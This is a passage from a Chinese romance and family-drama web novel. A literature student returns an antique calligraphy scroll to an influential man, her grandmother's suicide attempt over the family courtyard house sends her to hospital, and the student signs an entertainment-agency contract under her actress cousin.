服务员领他们去了孟宗台长年开的那间包房。宽敞,但不过分大,一张一米二的圆桌更偏向于家用尺寸,配四把黄花梨的圈椅。看上去,比起宴请,这儿更像是孟宗台自己随便吃个饭的食堂。 正北一面是槅扇窗,六扇并排。步步锦的窗格,高丽纸的窗纸,日里透光,夜里映影。窗台上摆着菖蒲和文竹。 服务员上前,将当中两扇槅扇向两侧一推一折—— 故宫角楼连着夏夜气息飞入眼。 飞檐挑出了深蓝的天,鸱吻、戗脊一层层往上叠。这样好的景致被框在窗里,仿佛是私藏。 说不震撼是假的,在这座城市里,最稀缺的从来不是钱,而是通道和位置。 沈冲扉听着窗外河边蛐蛐的叫声怔了片刻。 她什么也没问,没赞叹,也没打探,而是放书包在桌,将捂了许多天的董其昌取出来,开门见山:“这是您那天给我的,您检查一下真伪和保存情况。” 两人都没坐,孟宗台提起窗台边的一柄小喷壶,对文竹的叶片漫不经心地喷了几下。 “为什么不大大方方地收了?你走进任何一家拍卖行,要求私洽,他们都会帮你找到一个合适的买家。” “无功不受禄,孟先生。”沈冲扉望着他的背影答。 “你在裴老那里发表的见解不新鲜,难能可贵的是你敢直言。宝剑赠英雄,沈小姐既有慧眼,又有态度,这卷董其昌送你是物得其所,要是沈小姐真像自己说的,因此对董其昌揣摩出了新的意境,那更是好事一桩。” 孟宗台放下喷壶,转过身来,目光看也没看那价值千金的木匣子,而是停在她身上。 “不过——” 沈冲扉的双眼被这两个字转折点亮。 她原本觉得这人口才太好了,说的滴水不漏又很诚心,显得她不收的话敬酒不吃不识抬举。没想到他能话锋一转。 “不过什么?” 孟宗台略笑:“不过才这么短短几天,沈小姐就为它瘦成这样,说明董其昌确实和你八字不合。” 沈冲扉猛地低头看自己身板,又抬头看他,愠怒着,羞赧着,哑口无言着。 明明是他的锅,倒让一个作古了好几百年的人背了! “所以,”他终于遂了她的愿,“我愿意收回。” 离成功只差一步之遥! 沈冲扉按捺住心头喜色,摸出手机,不慌不忙地打开了摄像头。 孟宗台在她的举动中微压了压眼神,流露出经年高位上浸润出的警惕:“这是干什么?” 沈冲扉头头是道:“请孟先生对着镜头说,您今天确认收到我沈冲扉归还的明末原裱董其昌行书残卷一份,并确认真伪、状态都和那天您给我时一样。” “不行。” “……” “为什么?” “不方便。” 孟宗台淡淡地说,手一伸,意思不言自明。 长辈就是有威压。 沈冲扉一百个不情愿,但还是老实地将手机给过去。 孟宗台点进相册,删了她刚刚录的。删完后,系统自动跳出了上一张图片。是她戴着电动车安全头盔的一张自拍,薄荷绿的小头盔将她的脑袋包得紧紧的,露出一张半个男人手掌就能包住的小脸。 挺活泼的,比这半下午老气横秋装小大人的模样好。 “风控意识强是好事。”他嘉许了她,按下桌边服务铃,让人去拿纸笔。 “今收沈……哪个冲,哪个扉?”他水到渠成地问,问完意识到,他似乎早想知道这个答案已久。 沈冲扉在空气中比划:“冲扉,冲入心扉的冲扉。” 始料未及的两个字,撞入心头。孟宗台手悬笔尖,顿了顿,写下“冲扉”二字,墨迹丝滑,刷刷的声陪着窗外夏夜,如一场深蓝色的雨。 沈冲扉走近他身边,旗袍下摆与他裤线笔直的西装裤擦了一擦,一手半扶着桌角,歪头,目光顺着他的笔迹移动。 站得近了,才闻见他身上那点气息。 不是常见的香水味,是很淡的沉香,混一点烟草尾调,又被窗台文竹叶片上的水汽一压,清清冷冷的。 为了看清他写的字,沈冲扉不知不觉身子往前倾,发尾从肩膀垂下来,几乎擦过他握笔的手背。他的字笔锋峻整,铁画银钩,沈冲扉一眼就认出,他学字时临的是欧阳询。 领班正端着新添的茶到门边,脚步一下停住。 窗外是角楼飞檐,屋里是男人灯下执笔,女人俯身看字,藕粉旗袍和黑西裤一浅一深,挨得近,却又规矩。 亲密像是偶然,守礼也像是天成。 所谓红袖添香,也不过如此。 领班悄无声息退了下去,连门都没敢碰响。 安静的数分钟后,孟宗台将她要录的东西换成了白纸黑字,落款后递给她。 接过纸,沈冲扉第一反应竟不是去读条文是否严谨,而是看他的名字。虽然她也知道,萍水相逢,天差地别。 孟存退。 不算假名,是家里长辈给他拟的字。“宗台”二字太高,用“存退”二字点他思谦。只不过这字鲜少有人知道,正如他的本名亦然。 沈冲扉眼睫弯起来:“我的名字是冲,孟先生的名字是退,连起来还真是让人进退两难。” 开这玩笑时没多想,笑完后方觉得有些僭越,便定了定,说:“不好意思。” 她拿起了刚刚孟宗台握过的钢笔——上面的体温已经在徐徐晚风中散尽——在他的名字下方,落下了“沈冲扉”三字。 接着,她将纸对折两翻,小心翼翼地收进了书包的内兜夹层,长舒一口气微笑:“谢谢你,孟先生,那我就回家了。” 孟宗台手拄椅背站得倜傥,微微歪着脸看她收拾好书包,单肩挂上。 “我找人送你。”他说。 “不用。我骑共享单车回去。这时候骑车最舒服了。” 孟宗台没坚持。以她的风控意识,想必不放心让人知道她的住处,何况是一个陌生男人。 走出屋的那一刻,深蓝夜幕带着零星星点悬压下来,夜风送来了丁香的气味。 孟宗台一直随她走到了四合院外。 胡同静得很,只听得见虫鸣鸟叫,游客声被院墙隔得很远,仿佛是另一个世界。 忽然解决了一个心头大患,本该觉得如释重负,但沈冲扉的心头却莫名萦绕着一种留白的意味,那留白无法形容,是山水画里那一笔减淡的墨迹,是雨后玻璃上被手指抹过的淅淅沥沥的水珠。 这样的感觉让她陌生,也让她茫然,最终的告别便显得有些轻率了。她点点自己的手机屏幕:“那我去找车了。” 孟宗台漫不经心地笑了一下:“请便。” 胡同的灯光黯淡,夜的蓝很快就吞没了她身上那抹淡粉。人都消失半天了,孟宗台手里那支烟还没抽完,猩红的点在门口石狮旁一闪一闪。 共享单车骑出胡同口,晚风一来,沈冲扉才觉得脸上还热着。 路灯一盏一盏从她头顶过去。她没急着回家,特意绕了半条胡同,让自己沉下来。 回到家时,几个亲眷正在院子的枣树下乘凉、吃西瓜。正当中数沈黎霜最醒目,真丝衬衣闪烁光泽,手腕上一条水头很好的阳绿翡翠镯,瞧着珠光宝气的。 画面本是其乐融融、天伦之乐的,但沈冲扉明显地嗅到了一丝异样。 只有零星瓜皮散在石桌上,托盘里还剩很多,但没人动。 也没人开口说话。就连最小的岑岑也是。她被沈大姐抱在膝头,眼珠子大得不对劲。 “这事我办不了,要是我这条老命能救你,你拿去得了!”老太太忽然扶桌起身,颤颤巍巍地撂下了这句话。 她这把年纪了,能走动已是福报深厚,这种起身坐下的事非得有人帮忙才稳当。 然而一众沈家亲眷都没人动弹。也许有人是想动的,但吃准了情势、读懂了氛围。唯一衷心的芳姐,正在厨房忙活。 沈冲扉快步冲了上去,夜的浓影下真如小兽突破藩篱,一下子就冲到了老太太身边:“奶奶。” 她稳稳当当地将胳膊手垫在了老太太的手底下。心咯噔一沉,因为奶奶的手很冰凉,哆嗦得厉害。 “送我回房间,扉扉。” 沈冲扉听得出 来,她是强忍着才能平静地说完这句话。 一进卧室,老太太的眼泪就在皱纹上横流。沈冲扉追问,老太太只说:“大人的事你不必操心。” 沈冲扉有了猜测,心止不住往下沉,花了些功夫将她服侍睡下后,她回房,从沈黎霜口中获得了证实。 “火烧眉毛,七妹别怪我。”沈黎霜苦笑:“我还是高估了我这个孙女儿在她心里的地位。” “你想逼死她吗!”沈冲扉压着音量。 要是想卖肯卖,这宅子早归别人了,等不到今天。子女们虎视眈眈就等着卖祖宅分大钱,全因老太太还健在,还犟着。她早说了,这是沈家的荣光,她是沈家的旧人,要替沈家守好最后一块砖。 “那是谁要逼死我!”沈黎霜比她更严厉地反问回去:“宅子是死的,人是活的!老太太九十好几了,等她一死,这宅子也是要卖的!这家也是要分的!现在无非是早了几年,能救我一命,凭什么不肯?!这宅子有什么?都荒了二三十年了,老太太住在这里不肯醒,还做她大小姐大奶奶的美梦,凭什么我们小的要陪葬?她口口声声那些过去的体面、富贵,人上人,你见过?我见过?现在沈家要想东山再起,靠的是我!” 这副几十年风风雨雨摔打中练出的伶牙俐齿,沈冲扉说不过。 “到底是谁,非要你献了这宅子……”她喃喃,蹙着眉心蹙着目光,万分不解,甚至对这素未谋面的人有了怨恨:“到底是谁这么落井下石,难道除了他,就没别人能帮你了?” “没有。”沈黎霜冷着脸:“京城静水流深,你当这样的关键人物遍地都是,遍地等你找?我要能再往上找,我也不用挣这碗抛头露面的饭了!” 沈冲扉在床边静静坐着,抓着床沿栏杆的十指轻微地发着抖。 这张红木雕花大床是奶奶给她的,她好好地保养了一辈子,无一处掉漆。那时沈冲扉才读高二,怯又水灵的一个江南小城姑娘,芳姐开玩笑呢:“睡不了一年就睡成个老气横秋的了!” 老太太还问她:“睡这种老床,你怕不怕?” 沈冲扉摇摇头。 她的父母在特殊年代的尾巴上去了安徽,从此再未能回京,往后半辈子几乎在消沉和互相埋怨中度过。作为独女的沈冲扉,要不是老太太千里迢迢坐卧铺摇啊摇,摇到她面前,送她文房四宝,她不知道自己这一生会如何。 来到京城,一切都是新的,一切又都是熟的。墨香浸润在空气里,历史浸润在木头家具里。她睡在这张古老的雕花大床上,闻着的味道与老太太那儿的如出一辙,让她心安。 在沉默中,沈冲扉的十根手指关节已经白得发死。 沈黎霜深吸一口气,缓了缓情绪:“我知道你孝顺。你虽然自小没在她跟前,但她惦记你,你的名字是她起的,你小时候练字学画是她督促的,字帖是她给你选的,笔墨纸砚是她私藏的好的,你能有今天,全靠她上心提携。但你看,你也要走你的路,不肯为她改路。这世道就是这样,深恩万谢到头来也不过是你有你的私心,我有我的难处,谁也别怪谁罢了。” “听六姐的意思,最终让大家都难办的人是我了。”沈冲扉垂着脸,听不出情绪地笑叹一声。 “你只要肯进,肯接受培养,我立刻退圈,绝无二话!”沈黎霜赌咒发誓,“这四合院我再保它三十年!” “奶奶!奶奶!”屋外却忽然响起岑岑的哭喊。 俄而响起沈大姐的回应,不知两人说了什么,接着便是慌慌张张的“怎么会这样!”和奔跑声。 就在沈冲扉起身欲问时,门板已经被拍得邦邦作响,透着股让人心慌的节奏。 二婶大喊:“开门啊老六!小七!” 沈黎霜猛地拉开门,脸色阴沉不爽:“嚷什么叫什么,天塌不下来!” 二婶一张脸真写满了天塌了:“老、老太太不行了!” 轰的一声,沈冲扉只觉得整个世界大厦倾塌,泥沙俱下。她的灵魂还定在原地,但人已如离弦的箭一般冲了出去。 岑岑的嚎啕声震穿了整个院子,大人们纷忙的脚步从她身边跑过。 老太太卧房里,一根还没来得及打好结的绳子在房梁上晃晃悠悠,凳子翻倒在一旁。而她被二叔半抱半托着,脸色灰白,嘴唇抿成一条极细的线。 “打120!”二叔猛挥了几下手:“快打120!这把年纪经不起摔了!” 7.第 7 章 这通120是沈冲扉打的。 电话接通,她反而冷静下来,报地址,报年纪,报情况,说话快而清楚:“老人,九十五岁,摔倒,疑似骨折,有意识,但状态很差,请快一点。” 挂了电话,沈冲扉的手心已经全是汗。 她跪到老太太身边,低低地叫:“奶奶。” 老太太眼珠很慢地动了一下,声音薄得像一层纸:“扉扉……” “我在。”沈冲扉把她的手贴到自己脸边,“我在这儿。” 救护车的声音由远及近,刺过胡同,让夜惶惶。邻居门窗里有人探头,又很快缩回去。 只能有一个家属跟车,二叔当仁不让,其余人则各自安排。沈冲扉上了六姐的车。 从事发到现在,沈黎霜一句话也没说,脸上血色褪得干净,嘴唇也发白。 “你别去病房,别刺激奶奶。”沈冲扉开了口。 芳姐、沈大姐都诧异地看她。这话是多少大人都没本事出口的。又或者正因为她还小,她才能对沈黎霜这样说。 沈黎霜眼底骤然一缩,脸颊像凭空挨了火辣辣的一巴掌。 救护车在前一路呼啸,小昕跟在后面猛踩油门。 医院急诊灯亮得刺眼,老太太被推进去,沈家人陆续赶来,都怕这就是最后一面。沈黎霜到底也来了,但只敢远远站着。但就算她站得远,也多的是人围着她安慰,仿佛她是天底下跟奶奶最亲的那个。 沈冲扉背靠白墙,一张宣纸似薄而虚软。过了会儿她妈妈拨来了视频问情况。 沈冲扉走到没人的地方,听到她妈妈问:“老太太这遭能不能捱过去?” “不知道。” “你看,爸爸妈妈要不要买机票过来?”沈母问得很委婉。 话外传来了她父亲的声音:“你就是巴不得她早点死,好卖宅子分钱!” “你要死啊!”沈母骂回去:“讲话凭良心!” 沈冲扉深吸一口气,等他们吵完。以前还在徽州上学时就这样,一天能吵十几架,她只能把自己关到书房里做题练字。 “你盯紧点,机灵点,晓得吗?”沈母叮嘱,“有什么都第一时间跟我讲。要是老太太醒了,你千万要第一个进去,老太太喜欢你,看见你能舒心点。” 刚好急诊室的灯灭了,沈冲扉草草挂了电话,冲过去。 万幸老太太没有生命危险,就是几处骨折。但老人是最怕摔的,后续的检查、疗养很关键。 消息一出,一条走廊写满百态,众人神色各异,但无人敢提老太太悬梁的事。 等孝子贤孙们推着她去拍片,沈黎霜才寻到沈冲扉身边。 “无论你信不信,这都不是我的本意。” 沈冲扉看着她,漆黑的眼珠一片疏离。 沈黎霜避开她的眼睛:“我有什么好处,人死了,我心里压一座大山;人没死,我背上也是一座大山。这一出我甘拜下风。” 沈冲扉不敢置信:“你什么意思?你觉得奶奶是故意的吗?” 沈黎霜用沉默代替回答。 惨白廊灯浸得人浑身发凉,而沈冲扉心底骤然一片清明—— 沈黎霜是不会停的。 她已经是猪油蒙了眼,是吃了秤砣铁了心,绝不就此认输。只要这件事还烧着,她就会继续找水灭火。 宅子是水。 她沈冲扉,也是水。 老太太今天是命大,明天呢?后天呢?农村里多的是喝农药一了百了的老年人,只为了不给子女添麻烦。就算是在这四九城,一旦陷入利益牢笼,先输的,有爱的那个罢了。 沈冲扉忽然觉得累极了,身体后倾,贴上墙壁。 没人知道她在这沉默的一分钟了想了什么。 再开口,她目光谁也没看,只是平静地看着前方:“等我入圈,我会见到这个一定要你给了宅子才肯帮忙的男人吗?” 沈黎霜的心狠狠一跳,眼眸压住喜色。 她知道沈冲扉误会了。事实上这一切只是她的一厢情愿,孟先生什么都没表态。而正是这误会,证明了沈冲扉事实上并未和孟先生深交。 沈黎霜一颗心慢慢地放回了肚子里。 看上去,三个人里,她是掌握信息最多的那个。 沈黎霜也不打算说出真相。无论今儿她的风波会怎么收场,沈冲扉这圈子都是必入的。况且这被误会的是那个高高在上的孟先生,像他这样的人,被误会几次也没什么大不了。 沈黎霜狠狠心:“他不是圈子里的人,见不见得到我说了不算。但我劝你别轻举妄动,以卵击石。” 沈冲扉提了提唇角,但眼底全无笑意:“我能配合你两年,两年出不了头,我就退圈。我的天份就这样,上不了戏我不管,唱不了歌跳不了舞我也不管。我不陪客,不陪酒,不潜规则,不炒绯闻,不卖肉。从今天起,你不准再提卖宅子的事,等热搜爆了,你就安天命吧,六姐。” 沈黎霜看着眼前这个不算熟的小堂妹,素净,漂亮,乖巧老实,身上甚至还有没来得及拍干净的灰。可不知道为什么,这一刻,她竟觉得在她脸上看见了一点冷的硬的东西。 像刀新开了刃。 · 深夜,半山邸。 夜色涂抹了整条落地窗,看上去一片浓黑,竟一点光亮都没有。露天的一方池子由墨黑色大理石砌成,引温泉水。孟宗台泡在其中,仰靠着边沿的上身冷在星夜微风中,两条胳膊平直展着,肌肉起伏正如远处群山。 这是他在近郊的私宅,用于周末放松疗养用。 一只养在笼子里的红尾羽灰鹦鹉正安静陪他,歪歪头东看一下西看一下。 老许的电话打了进来。 “您要我打听的两件事,我都打听清楚了。” 孟宗台闭着眼,懒洋洋听着。 公事他有助理有秘书,不太方便的私事就交给老许。他原是他大伯的人,转业后派到他身边,也算是长辈对他的一种关照。 “这头一件,京大文博学院确实有个叫沈冲扉的姑娘,下个月才刚满二十,周望舒是她专业课的老师之一,也是她的领路人。据说这孩子品学兼优,成绩是全系第一。另外虽然您没让我打听这个,但也是顺路知道了——没有男朋友,平时跟男同学远着呢。” 孟宗台懒得搭理他这点小九九,等着他下一桩。 隔着电话老许也低眉顺目:“这第二桩,沈家的七奶奶。沈家曾经是望族,高祖兄弟俩各娶一妻,各生下五个孩子,这孩子们到如今也是各有了后代,并一起从一到七,年龄差出三四十。这后代又有了后代,四世同堂。这么一来,辈分就宽了。这七奶奶,实际上是上一代的老幺,是个……” 老许刻意停顿了一下:“年轻姑娘。” 孟宗台什么话也没接,搭着池沿的中指轻点了点,耐心极佳,仿佛知道他还没说完。 “这查着查着,就牵连出了第三桩。这沈七奶奶——” 孟宗台勾了勾唇,黑夜下,一双眼眸徐徐掀开,无波也无澜。 “就是沈冲扉。”夜风中,他声线沉磁地说。 “沈冲扉,沈冲扉!”鸟笼里,红尾羽鹦鹉扑腾翅膀跟学名字。 老许本来是想拿这巧事在孟宗台跟前儿邀功的,没想到先被他猜了出来,便改了方针: “就说什么都瞒不过您。可话又说回来,这天底下竟就有这么巧的事呢?又是同一个人,又是接二连三的遇上。” 至今为止,这个叫沈冲扉的姑娘在她六姐的生死局里,扮演的到底是什 么角色? 孟宗台披衣起身,在栏杆边点了支烟。 老许也不敢轻易挂电话,就那么听着他那边的林间涛声,候着。 他知道沈黎霜是彻底凉了。派人蓄意接近,是孟宗台这类人的大忌。这下被揭了出来,甭管事实是否如此,她都已经没了转圜余地。 烟燃了半截。 就在老许以为他已忘了自己这茬时,孟宗台从嘴边取下烟,修长指尖掸掸烟灰: “告诉沈黎霜,她安全了。” 如一道惊雷,把老许两眼炸得跟猫一样圆,一眼不敢置信。 “那四合院儿……?” 孟宗台几不可闻地哼笑一声:“老人家念旧,守了一辈子了,留着吧。” · 翌日一大清早,沈黎霜就上热搜站岗了。 有狗仔拍到了她深夜出入医院急诊的照片,加上这阵子的暴雷风波,一时间各种猜测纷起。有人说她想不开寻了短见,又有人说她是苦肉计。 “给加把柴,添点儿油。”公关公司收到雪花般的订单,要他们旗下的八百营销号火力全开,“这次要让她凉透。” 沈黎霜工作室。 电话铃声和键盘声此起彼伏。经纪人同时也是合伙人孙蕾忙得嗓子冒烟,四处求爷爷告奶奶撤词条降热度,又跟品牌方舔着笑脸装孙子: “张总,瞧您说的,我们黎霜这不是还没成污点艺人吗,怎么能撤地广呢?” “我给您赌咒发誓,上头是一点风声都没有!” “孙姐孙姐!不好了,飞流和萤火那边都突然把霜姐海报全给下了!”助理慌慌张张。 飞流和萤火是国内两大视频平台巨头,他们的动作一向被认为是上头政策风向标。 孙蕾拿着手机,在炮火连天中空白了两秒才咬牙切齿:“这帮孙子!落井下石跑得最快!” 饶是老江湖如她,也感到了一股大难临头。 没多大会儿,撤海报的事果然也上了热搜。 #沈黎霜海报被撤# #沈黎霜剧疑遭下架# 下面鬼哭狼嚎: 【不要啊,此时此刻一个爱看老剧的小姑娘轻轻碎了】 【反而呢,伤害到了我这个开vip的无辜路人】 全世界的风暴噪音都汇聚在了这一间两百平的办公室里,而随着电子玻璃门开合的静谧声响,所有人又都不约而同停了下来。 沈黎霜来了。 不同的是,她身边还跟着个年轻姑娘。 很年轻,那种年轻不是指年纪,而是整个人的样貌、气质、眉眼,让人眼前一亮,让人感到一股清流从眼前涤荡过。 娱乐圈的新人如过江之鲫,各有亮点本领。但这个姑娘站在沈黎霜如此重磅、黑料中厮杀出来的影后身边时,竟不逊色,也不怯。 “姑奶奶!这把是真的火烧眉毛了!”孙蕾撂下电话冲了上来:“别看热搜,也别放弃。我告儿你,这是公关战舆论战,就是想用舆论把你给做实了钉死了,让上头顺水推舟呢!” “急什么?”与这些人比起来,沈黎霜一派松弛,连发黑的印堂今天都红了。“黑红也是红,黑流量也是流量,让子弹飞着吧。” 孙蕾:“……” 太阳打西边出来了,这阵子一把把吃褪黑素的是谁? 孙蕾的目光又落到了沈黎霜身边的姑娘身上:“这是?” 她没往沈黎霜前阵子提过的小堂妹身上想过。小堂妹是实的,在孙蕾的想像中有鼻子有眼,约莫是个六成版本的沈黎霜,但眼前这姑娘是空降的,一张脸供在灯下,是庙里那尊不开光也让人想供奉的玉观音。 “这是——你的下一张王牌。”沈黎霜揭下墨镜,云淡风轻,而一字一句地说。 8.第 8 章 这是挖到宝了! 从业二十年来,孙蕾第一次有这种感觉。 漂亮不是娱乐圈的稀罕物,漂亮之余必须再叠点儿其他的,才有辨识度,比如元气,比如英气,或比如亲和。孙蕾是金牌经纪人,全中国的漂亮脸蛋都在她眼前转过一遭了,她是签了几个,但自己也知道只是试试看。 但在她面前的这个姑娘不一样。 孙蕾觉得她像一盏水,不是人喝的水,是给佛喝的水,日日供养在佛前,静的,净的,清的,透的,被香火供出一丝冷意,却又仁厚,明明一眼望到底了,但你却仍觉得没见底,你还想打量,还想往深了看,不知不觉便陷进去了。 用漂亮这词形容她,是浪费。 就在孙蕾愣神的当口,沈黎霜点了点墨镜腿:“这是孙姐。” 沈冲扉开了口:“孙姐。” 孙蕾都顾不上沈黎霜那破事了,亲切地问:“叫什么名字呀?” “沈冲扉,冲入心扉的冲扉。” “冲扉。”孙蕾念了一遍就两掌一拍:“好啊,这名字好,读一遍就记住,往后也好写应援文案。” 沈冲扉冲她莞尔:“奶奶起的。” “你跟你奶奶关系好得很?” “好得很。”这句沈黎霜代为回答,“比跟父母感情深。” 都是人精,孙蕾岂能听不懂其中的文章,意味深长地“哦”了一声。这是以后可以拿来做文章的点。 大办公室不是聊天的地方,孙蕾将两人迎进会议室。 “先说你的事,有转机了?”她狐疑地看着沈黎霜。 沈黎霜想起了凌晨接到的那一通电话。 老许什么多余的也没说,只说她的事孟先生知道了,会给她一个公平。 沈黎霜劫后余生大喜过望,也很识趣,自觉地问四合院孟先生想怎么弄? 老许却道,孟先生对四合院不感兴趣。 “那孟先生要什么?”沈黎霜擎着烟,人都糊涂了。纯做慈善么?绝不可能。难道……她疑神疑鬼,又想到了沈七头上。 “孟先生什么也不要。”老许客气地说:“他说沈家这四合院儿人杰地灵,一块宝地,他乐意之至。” 沈黎霜不可能当着沈冲扉的面说自己危机已解。 她流露出落寞而勉强的模样:“没有,我是想着,案件审理时间还长,这段时间我焦虑舆论胜过焦虑案子本身,现在真爆了,我反而解脱了。趁我还有热度,送扉扉一程。” 孙蕾大惊失色:“你什么意思?” 毕竟沈黎霜之前可从没跟她提过什么退圈啊! 沈黎霜用了一个看似体面实则含糊的说法,笑笑:“等扉扉出道,我就休息了。” 孙蕾要劝,沈黎霜却义正严辞:“先不说这些。当务之急,是趁我还有余温,把扉扉推上台。” 一个素人要走到镜头前,有严格的标准,不会比艺考时的面试简单。 孙蕾让助理找了根软尺来,一一丈量记录她的身体:身高、体重、肩宽、三围、手脚比例,甚至手指的长度。 “这小手腕细的。”孙蕾不经意说。 软尺滑过皮肤,沈冲扉莫名想到昨晚上问他手腕尺寸的男人。相隔十数小时而已,她的人生却已是天翻地覆了。 这之后,沈冲扉又被孙蕾带下楼。 这栋位于东三环的高楼相当于一个影视业的产业园,林林总总上百家大小公司都在这里办公,电梯上下一趟能逛完整个产业链。楼下就有一家业内颇有口碑的摄影工作室。 沈冲扉衣服也没换,按指示走到一块黑色的幕布前。灯是一直布在那儿的,随着开关灿然一亮,像恒星炸开。沈冲扉下意识眯了眯眼—— “来,看镜头。” 一声脆声的响指。 她的方位太亮,显得灯外的世界都是黑的,暗的,蒙了一层灰布。话是谁说的?她看不清,但不重要,重要的是,从此以后,她要直视的,就都是眼前那个闪烁着的镜头光圈了,而非真实的世界。 掌镜的人让怎么做,沈冲扉就怎么做。正脸,左侧脸,右侧脸,仰头,低头,微笑,大笑,悲伤,愤怒。 “表情还是有点放不开。”孙蕾抱臂站在沈黎霜身边,两人交头接耳着,也评头论足着,“不习惯也正常,多练。” 照片之后是录像,一段自我介绍。 沈冲扉定了定神,开了口:“你好,我叫沈冲扉,冲入心扉的冲扉,京大文博学院大二在读,很高兴被你认识。” “京大的啊……”周遭顿时响起窃窃私语。 “咱内娱有京大的吗?” “看得起谁呢。” 小姑娘们互相推搡了一把,嘻嘻哈哈。 “说满。”一直没出声的沈黎霜冷酷出声:“说满三分钟。” 沈冲扉脸上的怔愣转瞬即逝,她很快调整好,抿唇微笑,略一停顿: “说到这里,也许你会好奇,为什么一个读文博的学生,此时此刻不在实验室,不在博物馆,也不在墓地,却在一个摄影棚里、镜头前?回答这个问题前,我要先说一幅画。” 她讲起自己修过的一幅明人残卷,怎样被一层层揭下旧命纸、补绢、全色,重新裱过,挂上墙时灯一打,竟比原先还精神。 孙蕾抬腕计时,时而抬头看她。一般他们面试不会这么苛刻,看一下上镜效果就差不多了,何况沈冲扉还不是专业的。 但在毫无准备之下,她居然保持着姿态和视线,有条不紊地讲满了三分钟,全程没有一丝飘忽或频繁眨眼。 几个小助理都不知不觉停下了手头工作,巴巴地望着灯下人,听了进去。 “……换了命纸,裱它的也不是画它的人。它自己也清楚:是被人重新裱过一回,才有的这条新命。那么,它还是它么?” 沈冲扉面对着镜头,光点在她素的双眼中,像宇宙的一个奥秘。 终于。 “三分钟到了!咔!”孙蕾利落喊停。 棚内竟有几下掌声,虽不成势,但无人组织,发自内心。 “好牛……” “这就是学历含金量吗……” 摄影师摸摸寸头脑袋,呲牙咧嘴:“哪儿找来的高材生?可以啊,让林知薇知道了得失眠了。” 孙蕾脸色一冷,没搭他这茬,俯身下来,看监视器上的预览图:“要再瘦十斤,才有肉眼看的效果。” 沈冲扉就这样坐在原地听着他们议论自己,像设计师议论刚打版出来的商品该微调哪儿。 试镜结束,一种久违的兴奋充斥在孙蕾的两掌间,肾上腺素令她血脉微张。不用说了,这样的苗子是天赐,靠找是找不到的。 但孙蕾的好梦没一会就破灭了—— “什么?!就签两年?!” 没这样签合同的!五年是基础,十年是常态。捧不红,经纪公司还能靠解约金吃一笔。签两年,那公司是给不给你砸资源呢?捧不捧你?一个新人的走红是有周期的,两年,顶天也就刚开始给公司回本。 孙蕾拉着个脸,看向沈黎霜。 沈黎霜扶住她双肩:“别着急啊我的好孙总,你总得信我吧?” 这间工作室以沈黎霜名字为命名,她自然是老板之一。 回去的路上,合同电子版就发到了沈冲扉微信里,附带还有一份情况说明书,签字后同样具有法律效应,里面问的都是私人问题,比如家庭情况,无犯罪记录,有无恋爱及孕育、流产经历等。 沈黎霜开车送她,见她沉默一路,主动说:“合同有任何问题你都大胆提,自己的利益别含糊,也别不好意思。你想争取的,六姐都帮你,一家人不说两家话。” 沈冲扉点点头。 “有需要交代的,也一定要交代,信任经纪公司就是你入行要学的第一课。” “我没什么要交代的。” 沈黎霜这会儿才水到渠成地试探:“都十九了,就没点什么男女关系?男朋友啊,crush啊,前任,都算。漂亮女孩儿诱惑多。” 沈冲扉在这方面白纸一张,连情窦都没开过,依然摇了摇头。 沈黎霜停了车,认真端详沈冲扉神色,一直看进她眼底去。 她的堂妹眼眸清澈,坦然自若。 沈黎霜相信了她。嘉德地下停车场那一眼,多半是看错了。 日落时分,沈冲扉去了医院。趁天气好,她推奶奶下楼去晒太阳。 “你这孩子,话这么少。”老太太歪在轮椅上。 沈冲扉努力绽开一个笑颜:“担心你嘛。” “我有什么,多活一天就是赚一天了……” 檐外头有大喜鹊扑簌飞过。 “我是真想死,人一死,人世间的一切就都结了,这宅子、这姓氏,又和我有关系……”沉默片刻,她说:“我让芳姐找律师了。” 沈冲扉心头一震,意识到她许是立了遗嘱。 “今后你六姐再来逼我,也没法儿了。” “您不怕她恨你怨你?”沈冲扉端详着她布满老年斑的面庞。 “人活到这岁数,恨啊怨啊,那是数也数不清,赖皮脸了,怨吧,恨吧。各人有各人的命数,她的天塌了,不能用我的天去补。” 沈冲扉莞尔:“您这辈子真是活明白了。” 老太太在她脸颊抚了抚:“你是个聪明的,就怕关键时心软。” 沈冲扉将自己的脸颊往她手底下送,摩挲着,依恋着,什么多余的也没说。 等了几天,老太太始终没等到沈黎霜的出招,就连一向甘当她狗腿的沈大小姐也偃旗息鼓了。一切平静得好像没发生过。 等她出院时,沈冲扉的经纪合同已经签好。 “不休学,不退学,考试照常,学分照修;不陪酒,不陪睡,不炒CP;禁止告诉奶奶 。” 这是沈冲扉要求写进合同的条件。 正楷签下,钢笔一搁,一股茫然和如释重负同时从她胸腔涌出。她其实没那样悲伤。二十岁,还拥有将变动看作新开始的勇气。 那天芳姐一边剥莲蓬一边刷短视频,正巧刷到营销号说这件事。小编用那种看热闹不嫌事大的语气说: “沈黎霜:天终于亮了!四年前我拿你当好朋友站台,四年后你就拿卷款跑路对我?” 整件事被定性为实控人全责,措辞充满了一股风声已过的松弛诙谐。 “看样子啊,六小姐是安全了。”芳姐将剥出来的莲子在簸箕框里摇了摇:“没什么大事么,前阵子怎么就能慌成那样……” 一直歪靠着养神的老太太忽然睁开眼,充满不安全感地叫:“扉扉……扉扉……” “扉扉上学呢嘛!”芳姐扶住了她,轻轻地哄:“在上学呢……” · 嘉德艺术中心,古代字画专场拍卖会。 沈冲扉和几个师兄姐前几天就被派来当志愿者了,帮忙布展、登记、核对及讲解辅助。 今天是拍卖会当天,上午是最后半天预展,藏家、掮客、看热闹的、学生,来了一茬又一茬,他们几个忙得连盒饭都顾不上吃。 此刻刚过晌午,预展已撤,展厅关闭,他们又忙着将拍品从展台撤下、装箱,转运到临时库房。 她没想过能在这场合碰上孟宗台,毕竟他早已单独提前看过东西,感兴趣的早就私洽走了。 两人仍在九楼碰上。沈冲扉去送一份拓片,本该在六楼就下,但她想事情想得入神,竟忘了按楼层。 叮的一声,和九楼外的男人碰上,一个在里,一个在外;一个低着头不知情,一个垂眼看着她。 还有一个陪同的,是嘉德玉石珠宝部的负责人,陪孟宗台看一件翡翠。太有眼力见儿,空气都静成这样了,他猜出两人有前缘,遂没吭声,按着电梯按钮,防止门关上。 沈冲扉今天穿着制服,黑西服,白衬衫领子从里面翻出来,头发在脑后束成了一条利落的马尾,与前两面穿旗袍的模样很不同,有初入社会的青涩味。 孟宗台绅士地在门边侧了侧。 很坏,也不出声提醒。 过了半天,才淡淡开口:“不出去么?” 沈冲扉惊到抬眼。乍然得见,身体深处紧了一紧,竟忘了问候。 “不记得我了?” 沈冲扉一个劲摇头。她怀疑他是明知故问,又没证据。 “不像。” 